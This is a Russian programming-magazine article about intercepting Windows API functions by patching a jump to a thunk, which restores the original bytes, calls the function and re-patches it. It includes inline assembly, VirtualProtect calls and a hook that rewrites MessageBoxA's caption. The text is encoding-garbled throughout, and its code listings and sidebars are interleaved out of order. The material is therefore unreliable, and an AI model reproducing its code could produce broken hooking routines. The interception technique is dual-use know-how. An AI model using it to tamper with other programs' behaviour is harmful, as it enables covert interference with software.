ÓÍÈÂÅÐÑÀËÜÍÛÉ ÏÅÐÅÕÂÀÒ×ÈÊ API-ÔÓÍÊÖÈÉ À âîò äðóãîé ñïîñîá ïåðåõâàòà, âåñüìà êðèòèêóåìûé ìíîãèìè ïðîãðàììèñòàìè. Îí íå î÷åíü ýëåãàíòíûé, íî çàòî ïðåäåëüíî ïðîñòîé: • Ñîõðàíÿåì íåñêîëüêî áàéò îò íà÷àëà API-ôóíêöèè, êîïèðóÿ èõ â buf (>= sizeof(jump)); •  íà÷àëî API-ôóíêöèè ñòàâèì jump íà íàø thunk; •  thunk’å àíàëèçèðóåì àðãóìåíòû ôóíêöèè è âîîáùå äåëàåì âñå, ÷òî õîòèì; •  thunk’å âîññòàíàâëèâàåì íà÷àëî API-ôóíêöèè, êîïèðóÿ buf â åå íà÷àëî; •  thunk’å âûçûâàåì âîññòàíîâëåííóþ API-ôóíêöèþ call’îì ñ ïîäìåíîé àäðåñà âîçâðàòà; •  thunk’å â íà÷àëî API-ôóíêöèè âíîâü óñòàíàâëèâàåì jump íà thunk è âûõîäèì; Âñå ýòî óìåùàåòñÿ áóêâàëüíî â 5—10 ñòðîê Ñèøíîãî êîäà è î÷åíü áûñòðî ïðîãðàììèðóåòñÿ. Ýòî ëèêâèäèðóåò ïðîáëåìó òî÷åê îñòàíîâà, ïîñêîëüêó îíè èñïîëíÿþòñÿ íà ñâîåì çàêîííîì ìåñòå, ïðè÷åì îòëàä÷èê âñïëûâàåò íà îðèãèíàëüíîé API-ôóíêöèè, à êîä ïåðåõâàò÷èêà îñòàåòñÿ íåçàìå÷åííûì. Ïðè ýòîì íèêàêàÿ ÷àñòü êîäà íå èñïîëíÿåòñÿ â îáëàñòè äàííûõ, ÷òî,

Âíèìàíèå: èìååòñÿ âïîëíå îñÿçàåìàÿ âåðîÿòíîñòü âûçîâà API-ôóíêöèè ïîñòîðîííèì ïîòîêîì â ìîìåíò, êîãäà îíà áóäåò âîññòàíîâëåíà ïåðåõâàò÷èêîì!  ýòîì ñëó÷àå ïåðåõâàò÷èê óïóñòèò âûçîâ, ïîýòîìó èñïîëüçîâàòü äàííûé àëãîðèòì â «ñòîðîæåâûõ» ïðîãðàììàõ òèïà áðàíäìàóýðà íè â êîåì ñëó÷àå íåëüçÿ).

ñ òî÷êè çðåíèÿ DEP, î÷åíü õîðîøî. Íåîáõîäèìîñòü îïðåäåëåíèÿ ãðàíèö ìàøèííûõ êîìàíä îòïàäàåò ñàìà ñîáîé, ïîñêîëüêó ïåðåä âûïîëíåíèåì API-ôóíêöèè ìû âîçâðàùàåì åå ñîäåðæèìîå íà ìåñòî, è ñêîïèðîâàííûå áàéòû àâòîìàòè÷åñêè ñòûêóþòñÿ ñî ñâîèì õâîñòîì. Êîðî÷å, ñïëîøíûå ïðåèìóùåñòâà. Òàê íå áûâàåò. À íåäîñòàòêè ãäå? À âîò! Ïðè ïåðåõâàòå èíòåíñèâíî èñïîëüçóåìûõ ôóíêöèé íàøà ïðîãðàììà áóäåò ñëåãêà òîðìîçèòü çà ñ÷åò ïîñòîÿííîãî âûçîâà VirtualProtect(api_func, 0x1000, PAGE_READWRITE, &old)/VirtualProtect(api_func, 0x1000, old, &old_old). Ïðàâäà, ìîæíî ïðèñâîèòü íà÷àëó ôóíêöèè àòðèáóò PAGE_EXECUTE_READWRITE è ïðè óäàëåíèè thunk’à åãî íå âîññòàíàâëèâàòü. Òåîðåòè÷åñêè ýòî îñëàáèò áåçîïàñíîñòü ñèñòåìû, ïîñêîëüêó íàø ïðîöåññ ìîæåò ïîéòè âðàçíîñ è ÷òî-òî ñþäà çàïèñàòü, îäíàêî ýòà óãðîçà íå íàñòîëüêî âåëèêà, ÷òîáû ïðèíèìàòü åå âñåðüåç. Ìíîãîïîòî÷íîñòü — âîò ãëàâíàÿ ïðîáëåìà è ñàìûé ñòðàøíûé âðàã. ×òî ïðîèçîéäåò, åñëè â ïðîöåññå ìîäèôèêàöèè API-ôóíêöèè åå ïîïûòàåòñÿ èñïîëíèòü äðóãîé ïîòîê? Ïåðåêëþ÷åíèå êîíòåêñòà ìîæåò ïðîèçîéòè â ëþáîé ìîìåíò. Äîïóñòèì, ïîòîê A âûïîëíèë èíñòðóêöèþ push ebp è òîëüêî ñîáèðàëñÿ ïðèñòóïèòü ê mov ebp,esp, êàê áûë ïðåðâàí ñèñòåìíûì ïëàíèðîâùèêîì Windows, ïåðåêëþ÷èâøèì êîíòåêñò óïðàâëåíèÿ íà ïîòîê B, óñòàíàâëèâàþùèé thunk. Êîãäà ïîòîê A âîçîáíîâèò ñâîþ ðàáîòó, òî êîìàíäû mov ebp,esp òàì óæå íå îêàæåòñÿ. Âìåñòî íåå áóäåò òîð÷àòü «õâîñò» îò jump, ïîïûòêà âûïîëíåíèÿ êîòîðîãî íè÷åì õîðîøèì íå êîí÷èòñÿ. Êðàõ áóäåò ïðîèñõîäèòü íå òîëüêî íà ìíîãîÖ-

ïîñëåäñòâèÿ íåáëàãîïðèÿòíîãî ïåðåêëþ÷åíèÿ êîíòåêñòà íà ôóíêöèè CreateProcessA (ìàøèííûå èíñòðóêöèè POP ESP/SAR byte ptr DS:[EDX+75FF2C96],28) íà ñàìîì äåëå ïðåäñòàâëÿþò ñîáîé õâîñò êîìàíäû JMP 10001000, ïåðåäàþùåé óïðàâëåíèå íà thunk

XÀÊÅÐ 02 /86/ 06

121


ÊÎÄÈÍÃ ///// ISSUE Ñ/Ñ++

ÎÆÍÅÅ ×ÈÒÅËÜÍÎ ÑËÎ C «ËÈØÍÈÌ» ÁÀÉÒÎÌ ÂÑÅ ÇÍÀ Ïøíûõ, íî äàæå íà îäíîÖÏøíûõ ñèñòåìàõ, ïóñêàé è ñ íåáîëüøîé âåðîÿòíîñòüþ. Àíàëîãè÷íàÿ ïðîáëåìà èìååòñÿ è ó êëàññè÷åñêèõ ïåðåõâàò÷èêîâ, íî, ïîñêîëüêó îíè óñòàíàâëèâàþò thunk îäèí-åäèíñòâåííûé ðàç, äëÿ íèõ îíà íå òàê àêòóàëüíà.

ãîëûå ôóíêöèè íà MSDN

Ñåìàôîðû è interlock’è çäåñü íå ñïàñàþò, è åäèíñòâåííîå, ÷òî â íàøèõ ñèëàõ, — ïðîåêòèðîâàòü ïðîãðàììó òàê, ÷òîáû â êàæäûé ìîìåíò âðåìåíè îäíó è òó æå ôóíêöèþ ìîã âûçûâàòü òîëüêî îäèí ïîòîê. Ñàìîå ïðîñòîå — ñîçäàòü îäíîïîòî÷íîå ïðèëîæåíèå èëè âûçûâàòü API-ôóíêöèè ÷åðåç ïåðåõîäíèêè ñ áëîêèðîâêàìè, ïðèìåðû êîòîðûõ ìîæíî íàéòè â ëþáîé êíèãå, ïîñâÿùåííîé ïðîãðàììèðîâàíèþ ìíîãîÖÏøíûõ ñèñòåì. Òàê ÷òî äàííûé ñïîñîá ïåðåõâàòà âñå-òàêè èìååò ïðàâî íà ñóùåñòâîâàíèå, ïîýòîìó ðàññìîòðèì åãî ïîäðîáíåå, âïëîòíóþ çàíÿâøèñü ïðîãðàììèðîâàíèåì. ÑÎÇÄÀÅÌ JUMP ÍÀ THUNK Íàïèñàòü ïåðåõâàò÷èê ìîæíî è íà ÷èñòîì Ñè, íî íàñòîÿùèå õàêåðû òàê íå ïîñòóïàþò, äà è íå èíòåðåñíî ýòî. Ìû áóäåì ïèñàòü íà àññåìáëåðå! Äëÿ óïðîùåíèÿ èíòåãðàöèè ïåðåõâàò÷èêà ñ êîäîì çàùèùàåìîé ïðîãðàììû èñïîëüçóåì àññåìáëåðíûå âñòàâêè. Microsoft Visual C++ ïîääåðæèâàåò ñïåöèôèêàòîð naked (ãîëûé), çàïðåùàþùèé êîìïèëÿòîðó ñàìîâîëüíè÷àòü. «Îáíàæåííûå» ôóíêöèè íå ñîäåðæàò íè ïðîëîãà, íè ýïèëîãà, êîìïèëÿòîð äàæå íå âñòàâëÿåò ret — âñå ýòî ìû äîëæíû ñäåëàòü ñàìîñòîÿòåëüíî. Åñëè, êîíå÷íî, çàõîòèì. Ëó÷øåãî ñðåäñòâà äëÿ ñîçäàíèÿ çàùèòíûõ ìåõàíèçìîâ, ïîæàëóé, è íå ïðèäóìàåøü! Ïîäðîáíîå îïèñàíèå naked-ôóíêöèé ìîæíî íàéòè â SDK (ñì. ðàçäåë Naked Function Calls), íàì æå äîñòàòî÷íî çíàòü, ÷òî nakedôóíêöèè îáúÿâëÿþòñÿ êàê __declspec(naked) function_name(), ïðèäåðæèâàþòñÿ cdecl-ñîãëàøåíèÿ (àðãóìåíòû ïåðåäàþòñÿ ñïðàâà íàëåâî è óäàëÿþòñÿ èç ñòåêà ìàòåðèíñêîé ôóíêöèåé) è íå ôîðìèðóþò ñòåêîâûé ôðåéì, òî åñòü ñìåùåíèÿ ëîêàëüíûõ ïåðåìåííûõ è àðãóìåíòîâ íàì ïðèäåòñÿ ðàññ÷èòûâàòü ñàìîñòîÿòåëüíî. Ïîïðîáóåì â êà÷åñòâå ðàçìèíêè ñîçäàòü ïðîöåäóðó, âíåäðÿþùóþñÿ â íà÷àëî íåêîòîðîé API-ôóíêöèè è ïåðåäàþùóþ óïðàâëåíèå íà thunk. Ïðîùå âñåãî ýòî ñäåëàòü ñ ïîìîùüþ êîìàíäû jmp thunk, îäíàêî ïðè ýòîì çíà÷åíèå thunk ïðèäåòñÿ ðàññ÷èòûâàòü âðó÷íóþ, ïîñêîëüêó â x86 ïðîöåññîðàõ êîìàíäà jmp îæèäàåò íå ñàìî ñìåùåíèå, à ðàçíèöà ìåæäó ñìåùåíèåì öåëåâîãî àäðåñà è êîíöîì êîìàíäû jmp. Âû÷èñëèòü-òî åãî íåñëîæíî, ïðîñòî îòíÿë/ïðèáàâèë, è âñå, íî… ýòî æå íóæíî âûñàæèâàòüñÿ íà ñàìîìîäèôèöðóþùèéñÿ êîä, ÷òî íå âõîäèò â íàøè ïëàíû. Ëó÷øå ïîéòè äðóãèì ïóòåì, îáðàòèâøèñü ê êîíñòðóêöèè mov reg32, offset thunk/jmp reg32. Ýòî íà îäèí áàéò äëèííåå è ê òîìó æå ïîðòèò ðåãèñòð reg32, îäíàêî ýòî íå òàê ñòðàøíî. Âñå API-ôóíêöèè ïðèäåðæèâàþòñÿ ñîãëàøåíèÿ stdcall, òî åñòü ïðèíèìàþò àðãóìåíòû ÷åðåç ñòåê, à âîçâðàùàþò çíà÷åíèå ÷åðåç ðåãèñòðîâóþ ïàðó [edx]:eax, òî åñòü çíà÷åíèå eax ïðè âõîäå â ôóíêöèþ íå èãðàåò íèêàêîé ðîëè è ìîæåò áûòü áåçáîëåçíåííî èñêàæåíî. À âîò ñ «ëèøíèì» áàéòîì âñå çíà÷èòåëüíî ñëîæíåå. Íåêîòîðûå (âïðî÷åì, î÷åíü íåìíîãî÷èñëåííûå ôóíêöèè) ñîñòîÿò èç îäíîãî jmp xxx, ñëåäîì çà êîòîðûì ðàñïîëîæåí äðóãîé jmp. Åñòåñòâåííî, ýòî íå ñàìè ôóíêöèè, ýòî ïðîñòî ëèíêåð ñôîðìèðîâàë òàáëèöó ïåðåõîäîâ, íî íàì-òî îò ýòîãî íå ëåã÷å! Ê òîìó æå èíîãäà âñòðå÷àþòñÿ ôóíêöèè êîðî÷å ïÿòè áàéò (GetCurrentProcess) è âíåäðèòü â íèõ jmp (äàæå áåç mov) óæå íåâîçìîæíî!

122

; API-ôóíêöèÿ GetCurrentProcess çàíèìàåò âñåãî 4 áàéòà è âíåäðèòü ; â íåå jump, íå èñïîðòèâ íà÷àëà ñëåäóþùåé ôóíêöèè, óæå íåâîçìîæíî ; (íà ñàìîì äåëå ñäåëàòü ýòî ìîæíî, íî ñëîæíî! â GetCurrrentProcess ìû ïèøåì ; push esp/push esp/push esp/push esp/push esp, à â GetModeleHandleA ; âíåäðÿåì jump íà sub_thunk, êîòîðûé àíàëèçèðóåò,÷òî íàõîäèòñÿ íà âåðøèíå ; ñòåêà: åñëè òàì ÷åòûðå esp, òî áûë âûçâàí GetCurrentProcress, â ; ïðîòèâíîì ñëó÷àå ýòî — GetModuleHandleA) .text:77E956D7 ; HANDLE GetCurrentProcess(void) .text:77E956D7 public GetCurrentProcess .text:77E956D7 GetCurrentProcess proc near .text:77E956D7 83 C8 FF or eax, 0FFFFFFFFh .text:77E956DA C3 retn .text:77E956DA GetCurrentProcess endp .text:77E956DA .text:77E956DB ; Exported entry 315. GetModuleHandleA .text:77E956DB .text:77E956DB ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) .text:77E956DB public GetModuleHandleA .text:77E956DB GetModuleHandleA proc near .text:77E956DB .text:77E956DB lpModuleName = dword ptr 8 .text:77E956DB .text:77E956DB 55 push ebp .text:77E956DC 8B EC mov ebp, esp

Ëàäíî, íå áóäåì âûñàæèâàòüñÿ íà èçìåíó. Âñå ýòî çàìîðî÷êè. Âåäü ïåðåõâàò ðàáîòàåò âïîëíå êîððåêòíî, è ïðîñòåéøèé ïåðåõâàò÷èê âûãëÿäèò òàê: êîä, âíåäðÿþùèéñÿ â íà÷àëî API-ôóíêöèè è ïåðåäàþùèé óïðàâëåíèå íà thunk #define JUMP_SZ

0x6

// ðàçìåð jump

__declspec( naked ) jump() // «ãîëàÿ» ôóíêöèÿ áåç ïðîëîãà è ýïèëîãà { __asm { mov eax, offset thunk ; çàíîñèì â eax ñìåùåíèå íàøåãî thunk’à jmp eax ; ïåðåäàåì íà íåãî óïðàâëåíèå } }

Åäèíñòâåííàÿ ïðîáëåìà — êàê îïðåäåëèòü åãî äëèíó? Äîëæíû æå ìû çíàòü, ñêîëüêî áàéò êîïèðîâàòü? Îïåðàòîð sizeof âîçâðàùàåò ðàçìåð óêàçàòåëÿ íà ôóíêöèþ, íî îòíþäü íå ðàçìåð ñàìîé ôóíêöèè. Êàêèå åùå åñòü ïóòè? Ìîæíî, íàïðèìåð, îïðåäåëèòü ðàçìåð jump’à âðó÷íóþ (â äàííîì ñëó÷àå îí ðàâåí 6 áàéòàì) èëè ðàñïîëîæèòü çà åãî êîíöîì ôèêòèâíóþ ïðîöåäóðó fictonic(). Ðàçíèöà ñìåùåíèé fictonic() è jump() â îáùåì ñëó÷àå è áóäåò ðàçìåðîì jump. Ïî÷åìó â îáùåì ñëó÷àå? Äà ïîòîìó, ÷òî êîìïèëÿòîð íå ïîäïèñûâàëñÿ âñåãäà ðàçìåùàòü ôóíêöèè â ïîðÿäêå èõ îáúÿâëåíèÿ (õîòÿ ÷àùå âñåãî âñå ïðîèñõîäèò èìåííî òàê). Íî ýòî åùå ÷òî! Åñëè îòêîìïèëèðîâàòü ïðîãðàììó ñ êëþ÷îì /Zi (îòëàäî÷íàÿ èíôîðìàöèÿ), òî êîìïèëÿòîð áóäåò âîçâðàùàòü ñîâñåì íå àäðåñ ôóíêöèè jump(), à óêàçàòåëü íà «ïåðåõîäíèê», ðàñïîëîæåííûé ñîâñåì â äðóãîì ìåñòå! ; ïðè êîìïèëÿöèè ñ êëþ÷îì /Zi êîìïèëÿòîð MS VC âìåñòî óêàçàòåëÿ ; íà ñàìó ôóíêöèþ âîçâðàùàåò óêàçàòåëü íà ïåðåõîäíèê, ÷òî åñòü ; áýä (ïðàâäà, ìîæíî íàïèñàòü ïðîñòåéøèé àíàëèçàòîð, ðàñïîçíàþùèé ; jmp è âû÷èñëÿþùèé ýôôåêòèâíûé àäðåñ ôóíêöèè)

XÀÊÅÐ 02 /86/ 06


PC_ZONE ///// ISSUE

ÀÐÃÓÌÅÍÒÛ ËÅÃÊÎ ÑÊÎÏÈÐÎÂÀ ÒÜ Ñ ÇÀÏÀÑÎÌ, ÍÎ ÎÒÊÓÄÀ ÌÛ ÇÍÀÅÌ, ÑÊÎËÜÊÎ ÈÕ ÓÄÀËß ÒÜ ÏÐÈ ÂÛÕÎÄÅ ÈÇ THUNK’À? .text:00401019 loc_401019: .text:00401019 .text:0040101E .text:0040103E .text:00401040 .text:00401040 _thunk .text:00401040 .text:0040106D .text:0040106D .text:0040106D _thunk .text:00401081 .text:00401081 _jump .text:00401081 .text:00401086 .text:00401086 _jump .text:00401086

ïîñëå ïåðåõâàòà jmp _jump dd 8 dup(0CCCCCCCCh) align 10h proc near

; CODE XREF: .text:loc_401005j ; ; [ìûùúõ ïîñêèïàë] ;

endp; proc near

; CODE XREF: .text:loc_401019j mov eax, offset loc_401005 jmp eax

endp

Ïåðåõîäíèê è óêàçàòåëü ðàçäåëÿþò öåëûõ 68h áàéò, à â íåêîòîðûõ ñëó÷àÿõ è ïîáîëüøå. Êîøìàð! Äàæå åñëè êîïèðîâàòü ñ çàïàñîì, òî ìû âñå ðàâíî óéäåì ëåñîì è ðóõíåì â ïðîðóáü. Òåì íå ìåíåå, áåç êëþ÷à /Zi âñå ðàáîòàåò âïîëíå íîðìàëüíî, à îòëàæèâàòü ïðîãðàììó ìîæíî è â ìàøèííûõ êîäàõ. ÏÅÐÅÕÂÀÒ ÎÄÈÍÎ×ÍÎÉ API-ÔÓÍÊÖÈÈ Ïåðåõîä íà thunk ðåàëèçóåòñÿ ïðîñòî. Ñàì thunk çàïðîãðàììèðîâàòü íàìíîãî ñëîæíåå. Íèêàêèõ ìèí çäåñü íåò: ñíèìàåì thunk/âûçûâàåì ôóíêöèþ/óñòàíàâëèâàåì thunk. Âûçûâàåì ìû, êîíå÷íî, call’îì (à ÷åì æå åùå!), çàáðàñûâàþùèì íà ñòåê àäðåñ âîçâðàòà â thunk è ÷óòü-÷óòü ïðèïîäíèìàþùèì åãî âåðøèíó, íî ýòîãî «÷óòü-÷óòü» îêàçûâàåòñÿ âïîëíå äîñòàòî÷íî, ÷òîáû API-ôóíêöèÿ íå ìîãëà íàéòè ñâîè àðãóìåíòû. ñîñòîÿíèå ñòåêà íà ìîìåíò âûçîâà API-ôóíêöèè äî ïåðåõâàòà ñ âûçîâîì ïî call’ó (â êâàäðàòíûõ ñêîáêàõ ïðèâåäåíî ñìåùåíèå àðãóìåíòîâ îòíîñèòåëüíî esp) [00]:àäðåñ âîçâðàòà â ïðîãðàììó [04]:àðãóìåíò 1 [08]:àðãóìåíò 2 [0C]:àðãóìåíò 3

ÊÀÊ ÝÒÎ ÎÒËÀÆÈÂÀÞÒ? Áåç îòëàäî÷íîé èíôîðìàöèè ãîòîâèòü ïðîãðàììó ê äåéñòâèþ î÷åíü õðåíîâî, à îòëàäî÷íîé èíôîðìàöèè ó íàñ íåò, ïîòîìó ÷òî ñ êëþ÷îì /Zi êîìïèëÿòîð âåäåò ñåáÿ íå ñîâñåì àäåêâàòíî. ×òîáû íå òðàññèðîâàòü âåñü êîä öåëèêîì, â íóæíîå ìåñòî èñõîäíîãî êîäà ìîæíî âíåäðèòü __asm{int 03}, ÷òî âûçîâåò èñêëþ÷åíèå, ïåðåäàþùåå Just-In-Time îòëàä÷èêó áðàçäû ïðàâëåíèÿ. Îáû÷íî ýòèì îòëàä÷èêîì ÿâëÿåòñÿ Microsoft Visual C++ Debugger, íî ìîæíî èñïîëüçîâàòü è OllyDbg (Options -> JustIn-Time Debugging) èëè äðóãèå îòëàä÷èêè.

Just-In-Time îòëàäêà ïðè ïîìîùè int 03h ïîä Microsoft Visual C++ Debugger

124

[00]:àäðåñ âîçâðàòà â thunk [04]:àäðåñ âîçâðàòà â ïðîãðàììó [08]:àðãóìåíò 1 [0C]:àðãóìåíò 2 [10]:àðãóìåíò 3

Îòêàçàòüñÿ îò call’à íåëüçÿ, âåäü íàø thunk äîëæåí êàê-òî îòëîâèòü ìîìåíò çàâåðøåíèÿ ôóíêöèè, ÷òîáû âåðíóòü âîññòàíîâëåííûé jump íà ìåñòî, èíà÷å äàííûé ïåðåõâàò áóäåò ïåðâûì è ïîñëåäíèì. À ÷òî åñëè… ñêîïèðîâàòü àðãóìåíòû ôóíêöèè, ïðîäóáëèðîâàâ èõ íà âåðøèíå ñòåêà? Òîãäà íà ìîìåíò âûçîâà API-ôóíêöèè êàðòèíà áóäåò âûãëÿäåòü òàê: ñîñòîÿíèå ñòåêà íà ìîìåíò âûçîâà API-ôóíêöèè ïîñëå ïåðåõâàòà ñ äóáëÿæîì àðãóìåíòîâ [00]:àäðåñ âîçâðàòà â thunk [04]:àðãóìåíò 1 [08]:àðãóìåíò 2 [10]:àðãóìåíò 3 [04]:àäðåñ âîçâðàòà â ïðîãðàììó [08]:àðãóìåíò 1 [0C]:àðãóìåíò 2 [10]:àðãóìåíò 3

Çà èñêëþ÷åíèåì ïîòåðè íåñêîëüêèõ äåñÿòêîâ áàéòîâ ñòåêîâîãî ïðîñòðàíñòâà âñå âûãëÿäèò î÷åíü íåïëîõî è äàæå íîðìàëüíî ðàáîòàåò, âîò òîëüêî êîä ïåðåõâàò÷èêà ïîëó÷àåòñÿ äîâîëüíî ãðîìîçäêèì è ñîâñåì íå óíèâåðñàëüíûì. Ïî÷åìó? Âñïîìíèì, ÷òî API-ôóíêöèè ïðèäåðæèâàþòñÿ stdcall-ñîãëàøåíèÿ, ïðè êîòîðîì àðãóìåíòû óäàëÿåò èç ñòåêà ñàìà âûçûâàåìàÿ ôóíêöèÿ. Àðãóìåíòû ëåãêî ñêîïèðîâàòü ñ çàïàñîì, íî îòêóäà ìû çíàåì, ñêîëüêî èõ óäàëÿòü ïðè âûõîäå èç thunk’à? À óäàëÿòü íåîáõîäèìî, âåäü â ïðîòèâíîì ñëó÷àå ñòåê îêàæåòñÿ íåñáàëàíñèðîâàííûì, è âñå ðóõíåò. Âîîáùå-òî, ìîæíî ïðîñòî ïðîàíàëèçèðîâàòü çíà÷åíèå ðåãèñòðà ESP äî è ïîñëå âûïîëíåíèÿ API-ôóíêöèè. Äåëüòà è áóäåò òåì êîëè÷åñòâîì áàéò, íà êîòîðûå ìû äîëæíû óâåëè÷èòü ESP. Íî åñòü è áîëåå êîðîòêèå ïóòè: åñëè ïåðåõâàòûâàåìàÿ ôóíêöèÿ èçâåñòíà, òî äîñòàòî÷íî ïðîñòî ñîçäàòü ôóíêöèþ, èìåþùóþ òîò æå ñàìûé ïðîòîòèï. Íà ÿçûêå Ñè ýòî áóäåò âûãëÿäåòü òàê (â äàííîì ñëó÷àå ïåðåõâàòûâàåòñÿ MessageBoxA, â çàãîëîâêå êîòîðîé íàñèëüíî ïðîïèñûâàåòñÿ ñòðîêà «hacked», ïîäòâåðæäàþùàÿ, ÷òî ïåðåõâàò÷èê èñïðàâíî ðàáîòàåò): __stdcall thunk(HWND h, LPCTSTR lpTxt, LPCTSTR lpCaption, UINT uType) { _do(_UNINSTALL_THUNK_); // âîññòàíàâëèâàåì îðèãèíàëüíóþ ôóíêöèþ MessageBox(h,lpTxt,»hacked»,uType); // âûçûâàåì îðèãèíàëüíóþ ôóíêöèþ _do(_INSTALL_THUNK_);

// âíîâü óñòàíàëèâàåì thunk

}

ÏÅÐÅÕÂÀÒ ÏÐÎÈÇÂÎËÜÍÎÉ API-ÔÓÍÊÖÈÈ ßçûê àññåìáëåðà âûãîäíî îòëè÷àåòñÿ îò Ñè òåì, ÷òî ïîçâîëÿåò ðåàëèçîâàòü óíèâåðñàëüíûé ïåðåõâàò÷èê, ïîääåðæèâàþùèé âñå ôóíêöèè è íå çàõëàìëÿþùèé ñòåê äóáëèðîâàííûìè àðãóìåíòàìè. Âñå î÷åíü ïðîñòî. Âåðíåìñÿ ê ñõåìàì íàøåãî ñòåêà ïðèâåäåííûì âûøå.  ìîìåíò ïåðåäà÷è óïðàâëåíèÿ íà thunk íà âåðøèíå ñòåêà íàõîäèòñÿ àäðåñ âîçâðàòà â ïðèêëàäíóþ ïðîãðàììó. Çàïîìèíàåì åãî â ãëîáàëüíîé ïåðåìåííîé saved è ïèøåì ñþäà àäðåñ âîçâðàòà â thunk, íà êîòîðûé áóäåò ïåðåäàíî óïðàâëåíèå ïîñëå âûõîäà èç API-ôóíêöèè. Ñêîïèðîâàâ â ñòåê ñîõðàíåííûé àäðåñ, ìû ñìîæåì âåðíóòüñÿ â ïðèêëàäíóþ ïðîãðàììó ïî ret, è ïðè ýòîì íå ïðèäåòñÿ õèìè÷èòü ñ àðãóìåíòàìè! À âîò êàê ýòà êðàñîòà ðåàëèçóåòñÿ:

XÀÊÅÐ 02 /86/ 06


PC_ZONE ///// ISSUE

ST DIE ÑËÈØÊÎÌ ÄËÈÍÍÎ È, ÂÎÎÁÙÅ ,MU

// àññåìáëåðíûé êîä óíèâåðñàëüíîãî ïåðåõâàò÷èêà, ðàáîòàþùåãî // ÷åðåç ïîäìåíó àäðåñà âîçâðàòà è ñïîñîáíûé íåñòè íà ñâîåì // áîðòó «áîåâóþ íà÷èíêó», âûïîëíÿåìóþ äî èëè ïîñëå âûçîâà API-ôóíêöèè __declspec( naked ) thunk() { __asm { push offset _UNINSTALL_THUNK_ call _do_asm add esp,4 pop [saved] push offset post_exit

; ñíèìàåì thunk ñ ôóíêöèè

// óñòàíàâëèâàåò/óäàëÿåò thunk ; ïîäìåíÿåì ret_addr íà post_exit

; «áîåâàÿ íàãðóçêà» äî âûçîâà ôóíêöèè ; =============================================================== ; ïîäìåíÿåì ñòðîêó çàãîëîâêà è ìåíÿåì òèï äèàëîãîâîãî îêíà pre_run: mov eax, offset my_string ; mov [esp+12], offset my_string ; ms vc íå ïîääåðæèâàåò òàêóþ êîìàíäó :( mov [esp+12], eax mov [esp+10h], 1 mov eax,[p] jmp eax

ÓÑÒÀÍÀÂËÈÂÀÅÌ È ÓÄÀËßÅÌ THUNK Îñòàåòñÿ çàòî÷èòü íåñëîæíóþ ïðîöåäóðó, óñòàíàâëèâàþùóþ jump íà thunk è âîññòàíàâëèâàþùóþ ñîäåðæèìîå API-ôóíêöèè ïåðåä åå âûçîâîì. Ýòà ôóíêöèÿ íàçûâàåòñÿ memcpy. Íó… ïî÷òè memcpy. ×òîáû óñòàíîâêà jump’à çàâåðøèëàñü óñïåõîì, íåîáõîäèìî âûçâàòü VirtualProtect ñ ôëàãîì PAGE_READWRITE, ÷òî ñëåãêà óñëîæíÿåò ðåàëèçàöèþ, îäíàêî íå ñòîëü ðàäèêàëüíî, ÷òîáû âïàäàòü â äåïðåññèþ. Ýòî ìîæíî çàïðîãðàììèðîâàòü êàê íà àññåìáëåðå, òàê è íà Ñè. Íèæå ïðèâîäèòñÿ àññåìáëåðíûé ëèñòèíã ñ íåñêîëüêèìè èíòåðåñíûìè õàêàìè:

__declspec( naked ) _do_asm(char *src) { __asm { ; ñîõðàíÿåì ðåãèñòðû, êîòîðûå áóäóò èçìåíåíû push ecx push esi push edi ; ðåçåðâèðóåì ìåñòî ïîä ëîêàëüíûå ïåðåìåííûå push esp ; ðåçåðâèðóåì ìåñòî ïîä old-old (hack!!!) push eax ; ðåçåðâèðóåì ìåñòî ïîä old

; âûçûâàåì ïåðåõâà÷åííóþ ôóíêöèþ as is ; âûçûâàåì VirtualProtect(p,0x1000,PAGE_READWRITE, &old), ; ïðèñâàèâàÿ ñåáå àòðèáóò çàïèñè push esp ; &old push PAGE_READWRITE ; íåëüçÿ PAGE_EXECUTE_READWRITE! push 0x1000 ; size push [p] ; óêàçàòåëü íà ðåãèîí call ds:VirtualProtect

; «áîåâàÿ íàãðóçêà» ïîñëå âûçîâà ôóíêöèè ;============================================================ ; íè÷åãî íå äåëàåì (äîáàâüòå ñþäà ñîáñòâåííûé êîä, åñëè õîòèòå) post_exit: push offset _INSTALL_THUNK_ ; ñíîâà óñòàíàâëèâàåì thunk íà ôóíêöèþ call _do_asm add esp,4 push [saved] retn }

; êîïèðóåì ïàìÿòü èç src â p äâîéíûìè ñëîâàìè mov ecx, JUMP_SZ/4 ; size â äâ. ñëîâàõ mov esi, [esp+18h] ; src !!!ñëåäèòü çà ñìåùåíèåì!!! mov edi, [p] ; dst rep movsd ; êîïèðóåì!

; âîçâðàùàåìñÿ òóäà, îòêóäà íàñ âûçûâàëè

} ; âûçûâàåì VirtualProtect(p,0x1000,old,&old-old) ; âîññòàíàâëèâàÿ ïðåæíèå àòðèáóòû çàùèòû push esp ; old (hack!!!) push 1000h ; size push [p] ; óêàçàòåëü íà ðåãèîí call ds:VirtualProtect

ÒÓÏÎÉ ÊÎÌÏ ÈËßÒÎÐ MS VC Âñòðîåííûé àññåìáëåð êîìïèëÿòîðà Visual C++ 6.0 íå âïîëíå ïîääåðæèâàåò ñèíòàêñèñ Intel è îòêàçûâàåòñÿ òðàíñëèðîâàòü èíñòðóêöèþ «mov [esp+12], offset my_string», âûäàâàÿ óáèéñòâåííîå ñîîáùåíèå: «fatal error C1001: INTERNAL COMPILER ERROR»:

pop eax ;pop eax

; âûòàëêèâàåì old ; old-old óæå âûòîëêíóò v_prot

; âîññòàíàâëèâàåì èçìåíåííûå ðåãèñòðû pop edi pop esi pop ecx ; âûõîäèì retn } }

Íåíàâèæó ýòîò Microsoft! Ïðèõîäèòñÿ ïåðåïèõèâàòü offset ÷åðåç ðåãèñòð (mov eax, offset my_string/mov [esp+12], eax), íî ïèñàòü íåïîñðåäñòâåííî â ìàøèííûõ êîäàõ ÷åðåç _emit ìûùúõ’ó êàê-òî íå óëûáàåòñÿ.

126

